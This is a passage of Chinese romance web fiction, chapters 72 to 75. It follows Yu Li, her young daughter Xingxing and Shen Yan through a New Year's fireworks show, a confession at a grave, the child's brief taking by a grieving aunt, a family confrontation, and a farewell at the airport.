本来去的时候只有几十号人,后来大约是看节目太多,现场太嗨,都开始摇人,来的朋友也越来越多,最后差不多快百来号人。 蒋静姝一边儿蹦,一边儿问朋友:“不是说今晚咱们自个儿放,自个儿玩么,怎么这么大阵仗?” 她朋友是个男生,一看就是那种玩惯了的花花公子,也很懵逼:“我没听说有花车游行啊,搞得跟迪士尼有的一拼。” “现在好几个群里在传,咱这边自己有人花重金,搞了一个跨年秀。” 可关键是,谁花的 钱? 又有人拉蒋静姝衣袖提醒:“南佳音也来了?” “这妞不是怀孕了么,挺着肚子来凑热闹,真行。”有人笑。 南佳音怀孕五个月左右,看见姐妹群里有人说游乐场这边人少,但是灯光秀和烟花秀丝毫不比那几个著名的跨年影城差,硬逼着老公要带她来凑热闹。 她玩儿了会儿,在人群边缘挥舞荧光棒,老公看她兴奋,也没多说什么,只随时护在她身边以防被人撞到。 南佳音眼睛尖,不一会儿就看见人群里的沈清和许佑,刚想上去打招呼,发现她砚舅舅和砚舅舅的几个朋友也在。 南佳音顿时嗅到一种不同寻常的味道。 她砚舅舅可不是凑这种热闹的人。 顾野站在沈砚旁边,还在讽刺:“搁古代,你绝对是一昏君,就你这种女儿奴,绝对干的出烽火戏诸侯的事儿。就跨个年,你这挥金如土的,啧啧,豪横!” 沈砚目光掠过人群,望向被大屏幕吸引的母女俩,星星被喻梨抱着,小脸映着大屏幕的光辉,兴奋极了。 喻梨也很开心,侧脸恬静,仿佛被周围热闹气氛感染,笑得温柔明亮。 人群的吵闹声,将他回答淹没:“烽火戏诸侯为的是褒姒。” “你说什么?”顾野没听见,声儿大了点。 沈砚没理他。 烟花秀开始了,跨年倒计时。 每个人的手机里开始收到祝福的短信,喻梨的手机也嗡嗡嗡地响。 公司群里,沈欣瑜给群里发了好几个红包,让大家抢。 喻梨也发了几个大红包,同事们乐疯了,纷纷开始恭喜发财,老板大吉大利之类的。 她抱星星抱得有些手酸,但是星星太矮,不抱着,看不太清楚。 有人忽然拽了拽她衣袖,喻梨跟星星一起回头,发现是个穿着黑色羽绒服,笑容清澈的小帅哥。 “星星,我们去那边看。”许佑指了指人群外的一块高地。 喻梨正有些莫名。 星星似乎认识这个小哥哥,眼睛亮了亮,很快叫他:“佑佑哥哥。” 喻梨很快想起什么。 许佑笑容干净无暇:“梨子阿姨,跟我走。” 喻梨跟她走出人群。 沈清跟丈夫许志恒站在一起,挽着手臂,笑容热情,冲她挥了挥手:“新年快乐呀,小梨子。” 喻梨有点紧张,又有几分心绪不宁,虽然那天蒋静姝跟她说超市的事,她已经有隐约的预感,但没想到来那么快。 “新年快乐,沈清姐。”喻梨已经走到她们面前。 沈清又对着她怀里的星星:“星星,新年快乐!” 星星被教导过,便有些腼腆地回:“新年快乐,恭喜发财!” 把沈清逗笑:“真乖。” 星星看一眼下边的许佑,忽然说:“妈妈,我想下来。” 喻梨放她下去,许佑很快牵住她手,两个小孩一高一矮,相视一笑。 头顶烟花砰砰砰绽放,将漆黑的夜色染得五彩斑斓、流光溢彩。 沈砚不知道什么时候站到她旁边。 “10” “9“ “8” 人群中,大家开始一块儿倒计时。 “2” “1” 沈砚忽然弯腰将星星抱起来,用只有彼此听得见的声音在她耳旁说了句:“新年快乐!” 喻梨心底跟着绽放的烟火声狠狠一跳。 咔嚓,不远处,喜欢偷拍的南佳音记录下这一幕。 第72章 第72章我知道,你希望死得是我…… 北城圈跨年这晚的烟花秀被传得神乎其神,不少人在朋友圈发当晚的照片,有仇富心态的说,平民在影视城人挤人,富二代们有自己单独的游乐场,依照当晚烟花秀的手笔,没个八位数拿不下来,果然普通人跟有钱人的圈子就是厚厚的壁。 顾野刷到这些言论都乐了,作为这场跨年晚会背后的操刀人,从给蒋静姝下套,到最后真的把母女俩弄来,费的都是弯弯绕绕的心思,就为了哥们儿想跟人家过个年的心愿,都跪舔成这样了,结束后也没见得人姑娘一个好脸色,孩子还叫得‘大伯’。 大伯,啧啧,顾野都不知道以沈砚的狗脾气,是怎么能面不改色的将这个称呼受了的。 南佳人当时因为震惊也胎动得厉害,虽然隔得远,但是砚舅舅抱起那个小女孩站在喻梨身旁的一幕,实在让她虎躯一震,偏偏砚舅舅偏头去看喻梨的样子,眉眼温柔到极致,照片拍出来,加上许佑一家,简直温馨得不像话。 那么问题来了,那个孩子是砚舅舅和喻梨的,还是廷屹舅舅? 南佳音心里七上八下,主要看孩子的年龄跟眉眼,要说跟廷屹舅舅或者砚舅舅没关系,她也不信啊。 沈清不远处拍照的她,很快走过来:“佳音。” 南佳音握着手机:“姨妈。” “什么时候过来的?” “来了一会儿了,刚看到姨妈跟砚舅舅,正说去打招呼呢。姨妈,新年快乐呀。” “新年快乐!你都显怀了,这里人多,又冷,早点回去吧。”说着,看了一眼她旁边老公。 他老公是银行高管,闻言也跟着劝:“烟花秀快结束了,咱们回去吧。” “姨妈,你又不是不知道我喜欢凑热闹,老窝在家里,太无聊了嘛。”说着,拽着沈清的袖子晃了晃。 沈清拿她没办法,笑了笑:“有些热闹可以凑,有些热闹不能凑的,刚才看你拍照片了?” 南佳音吐吐舌头:“就知道逃不过姨妈法眼,我是看你们一家人太亮眼,忍不住嘛。” “给我看看。”沈清伸手。 沈清虽然温柔,但在南佳音面前威严是有的,只好将手机递到她手掌里。 沈清看她拍的照片,南佳音确实拍很好,当时她们注意力全在倒数的大屏幕跟烟花上面,都是抬头的姿势,只有沈砚抱着星星偏头望着喻梨,头顶是散开的斑斓的烟花,将每个人的表情都拍得很清楚,也很温馨。 “拍得不错。”沈清用她手机把照片传给自己,然后删除,温温和和的,“但你应该知道有的照片不能乱传,有的话也不能乱说吧。” 非常温和的语气,但大约沈清上位者的身份待久了,怎么听怎么透出一丝威严。 南佳音立刻抬手给自己嘴巴做了个拉上拉链的姿势:“姨妈你还不放心我呀。” 沈清点了一下她额头:“就是不放心你这个小喇叭。” 南佳音顿时傻笑。 刚巧这时烟花秀结束,大伙儿都开始散了,沈砚抱着星星跟许志恒他们最先走,显然不想撞上出来的人群。 经过南佳音附近时,她听见沈砚怀里的小孩用小奶音激动说:“大伯,我……我刚才看到爱莎女王,好漂亮。” 沈砚:“那星星喜欢吗?” “喜欢,还有烟花,我也喜欢烟花。”小姑娘兴奋得脸很红,眼睛也很亮堂。 南佳音觉得自己胎动得更厉害了,大伯,那个小孩叫得是大伯吧。 沈清看她八卦模样,就知道她心里在想什么,抬手敲了一下她脑袋:“都要做妈妈的人了,稳重点儿,别满脑子胡思乱想。听话,早点回去,今晚的事烂在肚子里。”说着,帮她拢了拢围巾。 又示意她老公:“好好照顾佳音。” 说完,追上许志恒他们。 南佳音觉得自己命好苦,有种自己知道了个大秘密,但是被封了口的,无处述说的痛苦,憋得她过年都上火,鼻腔都溃烂了。 沈砚的手机相册里,目前已经多出很多照片。 有些是自己拍的,譬如游乐场那天,喻梨带着星星跟果果在草地上吃冰淇淋的,譬如单独带星星去吃饭那天,小姑娘跟吃播似的,吃得脸颊鼓鼓,可可爱爱,最近的一张,是沈清发的,跨年晚会,他站在喻梨旁边,仿佛可以守护在女儿跟她身边一辈子。 让 沈砚忽然觉得,从来没有哪个年,如同今年一样圆满。 正月里走亲戚。 徐凤芝身体不好,蒋然今年将很多上门的客人都推了。 有星星在,家里已经非常热闹,徐凤芝每日的心情都很不错,病情也暂时稳定。 喻梨定的初四的机票,她在北城待得太久,年后直播公司要提前做计划,会忙碌一波,星星也要面临换幼儿园,喻梨要早点回去做考查和准备工作。 出发的前一天,她听从周远的意见,终于下定决心去看沈廷屹。 带了一束花和自己做的三明治。 她跟沈廷屹的恋爱回忆真的很少,甚至不太了解他最喜欢吃什么,但他死在她最爱他的时候,喻梨的感情就彻底封存在那里,连自己都不敢去触碰。 沈家墓地管理严格,喻梨还要通过沈清才能进去。 沈清听说她去看沈廷屹,心里也是叹气的,电话里说:“我会跟那边交代,你……控制点情绪,不要太难过。” “谢谢清姐,我晓得的。” 喻梨并没有很难过,四年多了,很多情绪已经都过去了。 看到墓碑上沈廷屹明媚温和的笑脸,还能夸他一句:“你好像比我记忆里,还要帅一点呀沈廷屹。” 她弯腰把三明治和鲜花放在他面前:“我现在做三明治的手艺比以前好多了,星星说世界第一好吃,带给你偿偿。” “对了,星星是我女儿,长得很漂亮,也很可爱,你要是见到她,应该也会喜欢的。” 说到这里,她沉默了片刻,双手插进大衣兜里。 “新年快乐呀,沈廷屹。”沉默了一会儿后,喻梨又说。 然后,她蹲下来,跟他对视,口吻终于带出一丝情绪,喉头滚了滚,嗓音低沉:“有件事,我想告诉你,因为没有早点告诉你,所以觉得非常愧疚,愧疚到这么多年,一直都不敢来探望你。” 她有些艰难开口:“星星是沈砚的女儿,我知道你一直以为她是我前男友的的,对不起,骗了你,真的非常对不起,虽然那只是个意外,但是很对不起,沈廷屹。” 说到这里,她嗓音喑哑,眼眶还是红了:“对不起,沈廷屹,还有,我很想你。” 憋了这么多年的话,突然一口气说出来,喻梨再也忍不住,将头埋进臂弯里,浑身颤抖着簌簌落泪,不敢再看面前沈廷屹微笑的脸。 他生命停留在最灿烂的年华,照片上,清隽的一张脸,笑起来永远带着要点燃整个世界的明亮。 起风了,周围枯枝极几颗松柏被吹得哗哗作响,喻梨的衣摆被风吹动,那风意外的很柔和,仿佛某种抚慰。 很久,喻梨鸵鸟般抱着头哭泣,才缓缓从臂弯里抬头。 她清了清嗓音,睫毛上还沾着泪痕:“我去看师傅了,师傅说,我应该来面对你,我其实一直都没有想好该怎么面对你。” 照片上,沈廷屹笑容不变,清润的眼睛柔和,像是无声的安慰。 喻梨从地上站起来,但因为腿麻,整个人忽然失去重心,被人及时从后面搀扶了一把。 沈砚握着她手臂,整个人借给她力道,稳稳扶住她。 他穿得很休闲,高领毛衣搭配雾霾色的羊绒外套,肩膀宽阔,大衣被撑得挺括,个子高挑,腿笔直修长,五官跟照片上的沈廷屹有五分相像,但眉骨更深,眼窝褶皱更明显,身上气质也截然不同,冷冽、淡薄、沉稳、锋利。 即使眼神温和,也跟沈廷屹的温和是不一样的。 喻梨只恍惚了一瞬。 “低血糖?”沈砚莫名其妙说了这么一句。 然后,喻梨嘴巴里被他塞进一颗糖。 他不知道什么时候养成带糖的习惯,趁她恍惚,已经很快单手敲出糖果,塞进她嘴巴里,大概以为她站不稳是因为低血糖。 喻梨被迫含了一块糖,等腿部那种酸麻感褪去,而后,拂开他手臂,转身往山下走。 沈砚沉默得跟在她身后。 沈砚给的糖,口感丰富,吃得出树莓、薄荷还有柠檬的味道,咬在唇舌间,有种化不开的甜,以及让人清醒的功效。 喻梨含着那颗糖,一直到含化了,下了半山腰,快出墓地才回头。 沈砚跟她隔着半米的距离,不远不近,高大沉默,眉眼深邃,身上气质沉稳,内敛。 她停下,他便也停下,淡淡睨着她。 喻梨开口:“为什么要跟过来?” “担心你。”他眉眼平淡,桃花眼睨着她,情绪平静。 “我很羞耻,跟你一起站在他面前。”喻梨的眼睛还是红的,睫毛有些湿,但看他的目光已经清明。 沈砚喉结滚了一下,揣在大衣兜里的手指握了握,他下颌微微绷着,避开她视线:“我知道,你希望死得是我。” 喻梨愣住。 是那年的雨中,她站在沈廷屹墓地前,因为极度伤心,极度憎恨,极度自厌,所以质问,为什么死得不是他。 她没想过他还记得。 她张了张唇,想说什么,兜里手机响,是蒋然的电话,她接起来。 下一秒,脸色骤然难看到极点,整个人慌乱到有些不知所措,跟对面沈砚讲:“星星不见了。” 沈砚瞳孔微震。 第73章 第73章蒋然有空就会推着徐凤芝…… 蒋然有空就会推着徐凤芝去别墅附近的公园转转,那里有个挖粉色沙子的地方,很多小朋友在那里玩,星星去过一两次,很喜欢,蒋然跟徐凤芝在旁边晒太阳,星星就在那儿挖沙子,时不时还要过来跟外公外婆炫耀,自己挖到沙子里的小贝壳什么的。 今日也是如此,但蒋然碰上熟人,跟对方聊了几句天,徐凤芝大约是被太阳晒得昏昏欲睡,一错眼,蒋然已经找不到星星。 徐凤芝情绪起伏很大,蒋然吓得到处找人,又报警查监控,但那个地方刚好拍不到监控,周围大人们也没注意,星星就这么不见了,蒋然无法,愧疚的第一时间打电话通知喻梨。 喻梨说完那句话,脸色瞬间苍白,又含着某种内疚自责,丢魂似的,无措又茫然。 被沈砚直接拽住她手:“你先别担心,我问问。” 说完,一边拽着她手往停车场走,一边给那边打电话,他目光沉稳,手心温度厚实,仿佛顷刻间给予她某种力量,喻梨居然也忘了要甩开她,就那么被他牵着几步到了黑色库里南面前。 到车跟前已经大致听清楚那边情况,跟喻梨说:“看到抱走星星的人了,已经锁定,目前正在追,你放心。” 喻梨思维混乱,难得六神无主,忘记询问沈砚为什么还没有扯掉星星身边的保镖,只喃喃跟他确认:“会追上吗?” 她手心冰凉,整个人似乎都在发抖。 “我跟你保证,星星一定不会有事。”沈砚目光安抚性极重,口吻坚定沉稳。 恰此时,他手机又响。 沈砚接起,听完对方说话后,稍稍变了脸色。 挂完电话,喻梨觑他脸色问他:“是有星星消息了吗,是不是追到了?” “找到了,我先让人送你回家,然后把星星给你送回去,你先回去好吗?”沈砚推她上车。 喻梨当然不肯:“星星在哪里?谁带走她的,我跟你一起去。” 沈砚喉结滚了滚,按住她肩膀,克制着口吻,极尽安抚:“你先回去,我保证一个小时之内,把星星带回来 给你。” “沈砚!”喻梨口吻重了点,目光固执,“是谁。” “应该是二婶。”沈砚口吻很轻。 喻梨整个人抖了一下,但依旧坚持:“我跟你一起去。” 沈砚无法,只能带上她。 沈砚今日自己驾车,喻梨坐在她副驾,沈砚驾车时,不时偏头看她一眼,她目光放在窗外,不知道在想什么。 星星被陌生叔叔抱上陌生车辆,一路上吓得直哭,对方准备很多玩具和零食哄她,她也不消停,一直撕心裂肺哭到沈二太太家。 自从沈廷屹去世后,沈二太太不大出门了,也不大做身材和皮肤管理,连慈善捐款之内的都再也不做,比沈大太太还安静宅居。 她生了许多白发,看上去比实际年龄苍老许多,保镖将眼睛红肿的星星抱进来时,她正在喝厨房熬的燕窝,星星撕心裂肺哭了一路本来已经哭累了,改成小声抽噎,这会儿见到白发的奶奶,一下没忍住,又开始掉眼泪。 沈二太太仔细打量面前的小团子,像是水做的,肉嘟嘟的下巴跟眉毛的部分跟喻梨一个模子印出来的,鼻梁和嘴唇的部分能看到沈砚的影子,但眼睛的部分很像廷屹,廷屹小时候老是生病,胆子也跟猫似的,稍微吓了吓就哭。 “哭什么?”心下发软,她把碗放下,拿柔软的纸巾弯腰给星星擦眼泪,动作不自觉带上一丝温柔。 “我要回家,哇呜呜……要妈妈。”大约白发奶奶还是比黑衣黑裤的保镖看起来和善一点,星星委委屈屈提要求。 “嗓子哭哑了没?要不要喝点水?”沈二太太好久没跟小朋友相处过,也不大知道怎么哄人,但给吃的,总是没错的,让人又盛了一碗燕窝过来。 星星抽噎了几声,但还是被摆在面前的瓷碗里的燕窝吸引,她吃过,甜滋滋的,她想吃。 “妈妈说不能吃陌人生的东西。”星星眨巴着还沾着眼泪的睫毛,犹豫道。 沈二太太难得笑了:“我是奶奶,不算陌生人。来,张嘴,奶奶喂你。” 小姑娘紧紧闭着嘴巴,眼睛里很是意动渴望,但就是不肯张嘴。 沈二太太想起的小时候喂廷屹吃药的时候,也这样,怎么都不肯张嘴,要哄他好久,小团子才肯喝苦苦的中药。 想到这些,她眼神柔和了一点,摸摸星星的头:“那你喝点水,也哭累了,喝水不算吃东西。” 说完,给她用杯子喂水。 这次,星星犹犹豫豫,大约是真的哭渴了,像刚出生的奶猫,先试探性舔了一口,有点甜味,很快咕噜咕噜喝完一整杯。 “真棒。”沈二太太看得高兴,难得展颜,夸道。 星星就有些害羞。 沈清是这时候赶来的,她比沈砚更近,得到消息,第一时间赶过来,见星星安然无恙,刚被喂完水,松口气,有些忐忑地叫了声:“二婶。” 沈二太太撩起眼皮瞅她一眼:“你倒来得快,怎么,怕我对个小孩怎么样?” “不至于。只是孩子怕生,二婶这样招呼都不打,确实容易吓到孩子。”说完,搂过星星。 星星见到熟人,虽然不是妈妈,但似乎有安全感了一点儿,紧紧抱住沈清的腿。 沈二太太听完她的话,极淡得笑了一下。 沈清蹲下身,安抚似的按住星星肩膀,嗓音温柔:“星星,还记不记得佑佑哥哥,让佑佑哥哥带你去吃好吃的,出去玩好不好?” 星星是很喜欢佑佑哥哥的,立刻点点头。 许佑便牵起星星的小手,将她带出去。 等人走了,沈清才说:“二婶,无论如何,孩子是无辜的,我知道廷屹的意外您很难受,但阿砚没有对不起廷屹的地方,孩子是廷屹跟小梨子交往之前的。廷屹走这么多年,阿砚爬了三次珠穆朗玛峰,每次都是因为体力和缺氧被人抬下来的,就因为廷屹跟他说过,心愿是登顶,所以一定要带他骨灰上去一次,去年好不容易坚持上去,丢掉半条命,住院的时候您也来了,您以为他是生病,其实不是,是爬珠峰冻的。” 沈二太太爬满皱纹的脸微微动了动。 “沈氏旗下所有关于医疗的产业开发,都是以廷屹的名字命名,廷屹没有完成的心愿,没有实行的梦想,阿砚都在一一帮他实现,他跟廷屹感情最好,把廷屹当亲弟弟疼,我也把廷屹当亲弟弟,我们从小到大的感情您是知道的,我们谁都没有对不住廷屹的地方。”沈清一字一句,说得有些伤心,但是也很铿锵。 “好一个亲弟弟,他瞒着弟弟跟弟弟的女友有孩子,就是疼弟弟?”沈二太太冷笑。 沈砚跟喻梨刚走到门口,听到就是沈二太太这句。 沈砚转身,阻止喻梨的脚步,只用彼此听见的声音轻声说:“你去外面等,我保证带星星出来。” 喻梨看他一眼,绕过他,径直走了进去。 沈清听到脚步声,偏头看见喻梨,也有些担忧,用眼神示意沈砚,‘把人带回去’。 小梨子此刻出现,只会火上浇油。 喻梨望向沈二太太,已经没有方才的焦虑,情绪平静淡然:“阿姨您想找的人应该是我,想出气的对象也应该是我,对吗?” 沈二太太二话不说,上去就直接狠扇一巴掌,但像是被沈砚提前预料,挡在喻梨面前。 那一巴掌沈二太太是蓄足了力,扇得清脆响亮,很快在沈砚冷白的脸颊上留下红痕,扇得整个空气都静谧了片刻。 喻梨心颤了一下,面前是沈砚高挑的背影,他一只手还拽着她将她护在身后,几乎是面无表情地挨了沈二太太这一巴掌。 沈二太太也有些微微震惊地望着沈砚,这个沈家家主,这几年身居高位,几乎已经掌握大半沈家,连丈夫在集团,也要看侄子脸色行事,从小到大,这孩子沉稳内敛,又天生矜贵,在父母那里都几乎没有挨过这样重的耳光。 沈清也抖了一下。 但沈砚只是平静转过头,面向沈二太太,口吻清冷镇定:“二婶要出气,应该找我,这件事犯错的人是我,所有责任由我来承担。星星跟喻梨,您跟二叔都不可以动,我说清楚了吗?” “沈砚!”沈清听出他意思,皱眉道。 沈二太太顿时冷笑:“你威胁我!” 沈砚桃花眼底,情绪冷静:“不是威胁,我说了,您只要任何事冲我来,我绝不反抗,但是冲星星跟喻梨,不行。” 沈二太太气极:“好!好!你还说你对得起廷屹,就在他眼皮子底下,你看看你干得丑事!” 沈砚无话可说。 喻梨被他护在身后,垂着眼帘,滋味莫名。 “我明天回南城。”忽然,喻梨开口,声音在静默的空气里十分清晰,是承诺,“以后,除非必要,绝不回北……” “你闭嘴!”大家似乎都知道她要说什么,沈砚眼睛是红的,转头,截断她的话。 沈清心下也很震惊:“小梨子……” 喻梨坚持说完,口吻冷静:“我可以承诺,除非必要,以后绝不会带星星踏足北城,星星永远都可以没有‘爸爸’,这样可以吗?” 大家都知道她的必要是什么,徐凤芝就这两三个月了,喻梨还得替徐凤芝送终。 沈砚握住她手臂,眼尾泛出一点猩红,是从唇齿间挤出的声音:“我叫你闭嘴!” 沈二太太也愣住了。 第74章 第74章所以二叔下次要动人,掂…… 沈砚拽她手臂拽得很紧,额头青筋绷起,连刚才挨沈二太太那一巴掌都没那么大情绪。 沈清急忙拂开他手:“你弄痛她了。”把喻梨从他指缝中解救出来,很快拉着喻梨出去了。 沈清带她去许佑跟星星玩的地方。 星星刚吃完点心,是许佑喂她的,喂完还会拿纸巾给妹妹擦拭唇边的点心渣,活脱脱的小绅士。 星星奶声奶气要求:“我还要。” 许佑也会耐心哄她:“吃多了会肚子痛,哥哥带你玩好不好?” 星星眨了眨眼,对点心还有些念念不舍,许佑转头看到沈清跟喻梨,礼貌站起来:“梨子阿姨。” 星星立刻从板凳上跳下来,跑进喻梨怀里。 喻梨这会儿看到她,是失而复得的心情,把星星抱得很紧,简直要揉进身体里,又担心问她:“宝贝,有没有哪里受伤不舒服?”说完,上下打量她一遍,检查她身体。 星星摇摇头,又很快搂住她脖子:“妈妈,我刚才有点害怕,我都哭了,但是……我都没有吃陌生奶奶给的东西,我……我厉不厉害。” 喻梨眼睛里是满满的心疼,摸摸她脑袋:“嗯,星星好棒。” 许佑走到沈清身边,看着母女俩,跟妈妈一起,也挺心疼的模样。 沈清送母女俩回家。 路上她对喻梨说:“你不该说那样的话,阿砚会处理好,这次的确是我跟阿砚的疏忽,但我跟阿砚都可以跟你保证,以后绝对不会再发生这种事。” 喻梨看着窗外,目光有些伤感:“是我不想再回北城。” 沈清张了张唇,似乎不知道该怎么劝,隔了会儿,她看儿童座椅上的星星一眼:“阿砚很爱星星,我也很喜欢她。喻梨,以前的事,我知道阿砚……” “以前的事已经过去了。”喻梨侧过头看她,目光平静,“清姐,我真的不想再活在过去,也不是以前的小梨子,你应该劝的人是沈砚。” 沈清立刻明白她意思,心下震动,替弟弟。 光是想起沈砚方才的样子,她就知道,沈砚根本不可能放手。 她还想替沈砚说点儿什么,但看喻梨的模样,再也说不出口。 反倒是保姆车后排的许佑在给星星变魔术,忽然问她:“星星,你喜欢南城还是北城?” 星星想了想,儿童座椅比较高,车内空间也大,她小脚一翘一翘地说:“我喜欢妈妈,外公、外婆、小姨、大伯,还有佑佑哥哥。” 7岁的许佑就笑:“我也最喜欢星星妹妹。” 面对小帅哥的表白,星星又露出害羞的小表情。 沈清看了喻梨一眼,喻梨听着星星的童言童语,垂眸,也不知道在想什么。 沈清带喻梨走后,沈二太太说:“她如果真的按照承诺,这辈子不回北城,廷屹就不会被人笑话,这是我跟你二叔的底线。” 沈砚一句话不说,跪在二叔二婶别墅院子里,像小时后,被罚跪,跪得笔直,不打折扣。 沈二叔看到,知道他意思,冷笑:“阿砚,你大了,翅膀硬了,集团的事当然都是你做主,但你也别忘了,沈氏的股份也有我一份,廷屹面子上过不去,你也别想再坐上主席的位置!” 沈砚依旧一声不吭地跪着。 到夜晚,沈誉赶来,二话没说,先踹了这个逆子一脚,他是儒雅的绅士,向来对孩子的教育不兴拳打脚踢那套,但似乎第一次这样动气,直接当着弟弟的面将沈砚踹倒在地,见沈砚固执地又重新起来跪着,没有犹豫,立刻补了第二脚。 沈二叔也没搀扶,反倒是沈二太太有几分不忍,沈砚这样的天之骄子,何时遭遇过这样的罪,劝他:“阿砚,你还记不记得你有时候淘气,你爸爸罚你跪,廷屹也要跟你一起跪,你说你从小最疼他,他也最爱你这个哥哥。闹出这种事,就为了一个女人,你要承认她跟孩子的身份,你把廷屹的面子往哪里放,你对得起廷屹吗?” 沈砚面无表情、冷如刀削的一张脸,终于缓缓抬眸,看了一眼二婶。 但他很快敛眉,依旧沉默地跪着,一句话没说。 气得沈誉心脏疼,被弟弟搀扶着,两个人在书房,也不知道在商量什么。 沈砚跪了一整夜,没人叫他起来,也没人叫他一定要跪着,但他用自己的方式道歉。 一直到第二天早晨,沈二叔跟二太太吃早饭,沈二太太心里不落忍,跟丈夫商量:“先让孩子把饭吃了,就是小时候的轴劲儿犯了,他胃不好,腿又被冻过,还是为了廷屹去登山……” 沈二叔想了想,出去看他。 沈砚脸色苍白,但姿势依旧笔直挺拔,看到二叔出来,他缓缓站起来,因为膝盖跪到麻木,姿势并不雅观,带着几分狼狈。 沈二叔心软,差点忍不住抬手搀扶他,但听他忽然说:“星星可以永远是廷屹的孩子,这是我的底线。”嗓音沙哑,又仿佛含着某种极致的绝望。 沈二叔震动。 “所以二叔下次要动人,掂量掂量我的底线。”说完,沈砚没什么情绪地走了,到底因为腿脚不便,姿势有些缓慢,背影非常萧苍凉。 喻梨是上午11点的飞机。 本来行李不多,但蒋然给她和星星塞了很多东西,于是又多出一只行李箱。 徐凤芝舍不得,星星奶声奶气哄她,每天都要跟外婆视频的哟,会很想外婆的,喻梨也说,处理好南城的事,就带星星回来看她。 蒋然坚持跟司机一块送母女俩到机场,又帮着一块儿办完行李托运。 等母女俩过完安检才走。 还剩半个多小时登机,星星想吃薯条,喻梨就带她去麦当劳找了个位置坐下。 喻梨手机响了两遍,是沈砚打来的。 第二遍,喻梨接起来。 那头,沈砚嗓音很哑:“在哪儿?” 喻梨:“机场。” “具体位置。” 大约因为他嗓音的不正常,喻梨沉默片刻,还是说:“麦当劳里面。” 五分钟后,沈砚抵达。 他看起来状态非常糟糕,脸色很白,眼底有红血丝,仿佛一夜没睡,走路姿势也不大顺畅。 喻梨没有见过这样的沈砚。 星星看到他,还是很高兴的,会主动叫他:“大伯。” 因为这个称呼,沈砚眼底的红血丝更红了一点,把星星抱起来,搂得很紧。 但很快不稳,脚下仿佛趔趄了一下,担心星星摔倒,只能很快坐在卡座上。 星星坐在他大腿上,还把占着薯条的番茄酱投喂给他,沈砚一一受了。 第75章 第75章你会留我吗,你留的话,…… 麦当劳内,星星趴在大伯腿上,笑嘻嘻地用白嫩嫩的小手拿薯条投喂沈砚。 “好……好不好吃?”投喂完,她还眼巴巴地问他,一脸想被表扬的小模样。 沈砚胸口那些无处释放的悲凉与压抑仿佛都在这一刻被治愈,抬起星星的小手吻了一下她手背:“好吃。” 小姑娘被他亲得发痒,亲昵地滚到他怀里,趴在他耳边用小奶音说悄悄话:“我会想念大伯哒,大伯也……也要想我。” 沈砚被她哄得一颗心似乎裹了蜂蜜,又挤上几滴柠檬,酸、甜、涩,各种滋味应有尽有。 “好。”沈砚说。 星星就勾起软白的小指:“拉钩钩。” 沈砚像模像样跟她勾了一下。 一大一小亲昵得仿佛有自己小秘密的模样,落在身旁喻梨眼里,倒是没什么情绪。 小姑娘如今越发会哄人,沈砚被她哄得找不着北,殊不知今早徐凤芝也是这样,被星星哄得差点要强留下星星,连‘你回去你的,等星星开学再回去’这种话都说出来了。 喻梨抬手看一眼腕表,适时提醒:“星星,走了,该登机了。” 星星就焉儿了吧唧得从沈砚腿上下来,默默站到妈妈旁边。 喻梨将单肩包跨在肩膀上,一手牵住星星。 沈砚也站起来:“给你们生了舱,我送你们到登机口。” 喻梨连他怎么进来的这种事都懒得问,牵着星星往外走。 但星星走很慢,一步三回头地等沈砚,还伸出一只手,也要牵住沈砚,等走出麦当劳,就变成了两个大人一起牵着小孩的姿态了。 星星看一眼妈妈,又看一眼大伯,走着走着忽然说:“要荡秋千。” 沈砚看小姑娘一眼,像是没get到她意思。 喻梨却微微皱眉,刚想说什么,小姑娘已经把腿曲起来,但是因为大人们都没配合,第一次没成功。 那副小模样,还挺逗比的。 “我要荡秋千嘛。”星星撒娇道,还在跃跃欲试,小腿奋力往上蹬起来,沈砚这次领悟到她想玩什么,将她拧得高了一点。 但也只成功了一半,因为喻梨配合得不好,反应过来时,星星已经落地了。 小姑娘就看向妈妈,奶声奶气地耐心教她:“妈妈,你要跟大伯一起,像这样……” 沈砚顺势偏头看她。 喻梨今日收拾得很简单,是日常的状态,扎了 个简单的马尾,颊边的耳发捋到耳后,露出白皙到近乎透明的小巧耳廓,侧脸线条柔软娴静,皮肤白皙细腻。 大概星星提醒,喻梨视线也偏过来,两个人对上。 一个桃花眼幽深,眼底的红血丝仿佛含着某种隐痛,一个目光平静淡然,看不出太多情绪。 星星还在费劲儿的蹬着她的小短腿,但因为大人们不肯配合,始终没有成功。 喻梨垂眸提醒她:“快点儿,我们待会儿要误机了。”说完,步伐走得快了点儿。 星星怄气似的,垂着小脑袋,闹小脾气,不肯走了。 喻梨口吻严肃了点儿,叫她:“星星。” 星星不肯动,委屈地撅着小嘴。 喻梨便有些头疼,小姑娘这几天被徐凤芝和蒋然宠坏了,要什么给什么,小脾气也见长,稍微不满足,就开始闹脾气。 沈砚忽然一把将星星举起来,稳稳当当架到脖子上:“走吧。” 视野一下子十分开阔,星星又忍不住笑起来,拉着沈砚的手,开开心心的。 喻梨在父女俩身后站了片刻,心里滋味莫名,但还是很快抬脚跟上。 包里手机震动,有信息进来,喻梨拿出来看了一眼。 来自沈清:【阿砚昨晚在二叔二婶家跪到天亮】 喻梨愣住。 抬眼看前方将星星架在肩膀上的男人,他走路姿态似乎确实没有平日挺拔,但依然稳稳托住星星,因为父女俩颜值都很高,这个姿势在机场非常招眼,周围隐约还有人拿着相机在拍照。 到登机口,沈砚放下星星,喻梨配合着接住。 星星跟他挥挥手:“大伯,再见。” 喻梨牵着女儿,刚转身准备走,被沈砚叫住:“喻梨。” 大概是因为他的腿,喻梨还是心软停住,抬头看他。 沈砚视线在她脸上长久停留一会儿,忽然将她拉到怀里,整个人拥抱住她。 他怀抱没有那日滚烫,身上气息甚至带着些许冷意与疲倦,仿佛在极尽伤感与疲乏中,需要一个拥抱抚慰,连话语都没有,只是紧紧的,牢牢的,将她锁在怀里。 有两三秒钟,喻梨忘记要推开她。 等她意识到什么,准备推开他时,他已经放开她。 “一路顺风。”沈砚说。 星星捂着嘴看着大人,偷笑。 喻梨牵着她,登入贵宾机舱登机口。 刘昕和阿姨大概是收到消息,也提前回来了。 喻梨第二天跟沈欣瑜以及回来加班的同事们开了个会,吃了顿饭。 又抽空将从北城带回的特产送了点给赵雨浓和许英。 星星有戒断反应,回到家里似乎还不太适应,即使有刘昕和阿姨的陪伴,也很想念外公外婆,问喻梨可不可以跟外公外婆视频。 喻梨就教她用iPad,学着自己跟外公外婆视频。 